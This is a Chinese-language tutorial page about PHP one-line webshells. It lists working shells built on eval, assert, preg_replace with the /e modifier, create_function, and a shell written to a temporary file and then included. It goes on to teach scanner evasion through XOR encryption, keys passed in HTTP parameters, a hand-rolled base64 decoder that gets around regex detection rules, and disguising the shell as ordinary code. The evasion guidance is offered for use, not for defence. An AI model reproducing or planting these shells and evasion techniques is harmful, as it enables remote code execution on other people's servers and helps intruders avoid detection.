专业编程基础技术教程

网站首页 > 基础教程 正文

凑数的wiki(凑数的队友竟是高手在线阅读)

ccvgpt 2024-07-23 01:21:41 基础教程 15 ℃

PHP木马

一句话木马

php一句话木马是一个php网页,主要功能是从请求中获得存在php代码的参数的值并执行。 最常用的php一句话木马是如下形式:

<php? @eval($_POST[cmd]);?>

凑数的wiki(凑数的队友竟是高手在线阅读)

eval函数: 把字符串当做代码执行,而$_POST[cmd]:从POST中获取参数cmd的值,因此该一句话可以把POST请求的cmd参数的值当做代码执行。

一句话常用危险函数

  • eval() :将接受的字符串当做代码执行
  • assert(): 用法和 eval()一样
  • preg_replace()的e修饰符:5.5版本以上弃用
<?php @preg_replace("/abcd/e",$_POST['cmd'],"abcdefg"); ?>
  • create_function():
$fun = @create_function('',$_REQUEST[1]);
$fun();
  • 通过写文件的方式形成一句话效果:
$pass='a';
$a=$_REQUEST[$pass];
$file=md5('unicodesec');
$shell="<?php ".$a."?>";
$myfile = fopen($file, "w");
fwrite($myfile, $shell);  
include $file;
unlink($file);

一句话的免杀

自定义加密bypass

例如使用异或加密:

$xor = "xor_en";
function xor_en($string,$xor){
    $crystr = '';
    $xor_len = strlen($xor);
    for($i=0;$i<strlen($string);$i++){
        $k = $i%$xor_len;
        $crystr .= $string[$i] ^ $xor[$k];
    }
    return $crystr;
}

关键参数http获得bypass

从http参数中获取加密必须的参数,例如异或加密的$xor = "xor_en"

对关键的函数重写bypass

function decode64($str){
    $base64 = implode("",range('A','Z')).implode("",range('a','z')).implode("",range('0','9'))."+/";
    if($str=="") return false;
    $more = substr_count($str, "=");
    $str = substr($str,0,strlen($str)-$more);
    $arr = str_split($str);
    $binStr = "";
    //base64 到 6个二进制还原
    foreach($arr as $val){
        $index = strpos($base64,$val);
        $bin6 = base_convert($index, 10, 2);
        $binStr .= str_repeat("0",6-strlen($bin6)).$bin6;
    }
    //6 => 8 二进制还原
    $binStr = substr($binStr,0,strlen($binStr)-$more*2);
    return BinToStr($binStr);
}

使用decode64函数代替base64_decode,可以绕过一些基于正则的查杀规则。

伪装正常程序

例如将关键的一句话放入函数中、类中、对关键函数进行拼接、不要将一句话函数放在末尾等等

Tags:

最近发表
标签列表